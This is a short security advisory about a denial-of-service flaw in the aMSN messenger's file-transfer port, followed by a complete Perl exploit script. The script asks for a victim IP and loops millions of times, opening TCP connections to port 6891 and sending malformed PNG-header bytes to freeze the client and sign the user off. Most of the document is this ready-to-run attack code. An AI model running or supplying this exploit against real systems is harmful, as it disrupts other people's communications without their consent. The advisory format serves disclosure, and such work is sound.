aMSN Messenger DoS (Send File)Summary
aMSN is "a free open source MSN Messenger clone". A vulnerability in aMSN allows remote attackers to cause the client to no longer respond to legitimate requests.
Credit:
The information has been provided by Braulio Miguel Suarez Urquijo.
Details
The bug consists when the attacker sends a file via AMSN, it opens port to send and receive the file, the port that usually opens is the 6891 (can be random). The following exploit will freeze victim's client and sign him off.
Exploit:
#!/usr/bin/perl
use IO::Socket;
$x = 0;
print q(
**************************************
* AMSN REMOTE DOS XPL *
* BY *
* Red-Point *
* red-point@odiameporserelite.org *
**************************************
);
print q(Victim IP: );
$hos = <STDIN>;
chop ($hos);
print q( );
$type = seC0de;
chop ($type);
if($type == seC0de){
while($x != 9999999){
$postit = "";
$lrg = length $postit;
my $sock = new IO::Socket::INET (
PeerAddr => "$hos",
PeerPort => "6891",
Proto => "tcp",
);
die "\nEl host esta fuera de servicio o no estas conectado a internet $!\n" unless $sock;
print $sock "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D".
"\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00".
"\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44".
"\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47".
"\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00".
"\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48".
"\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E".
"\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A".
"\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49".
"\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A".
"\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D".
"\x49\x48\x44\x52";
close($sock);
syswrite STDOUT, "|";
$x++;
}
}
else{
die " \n";
}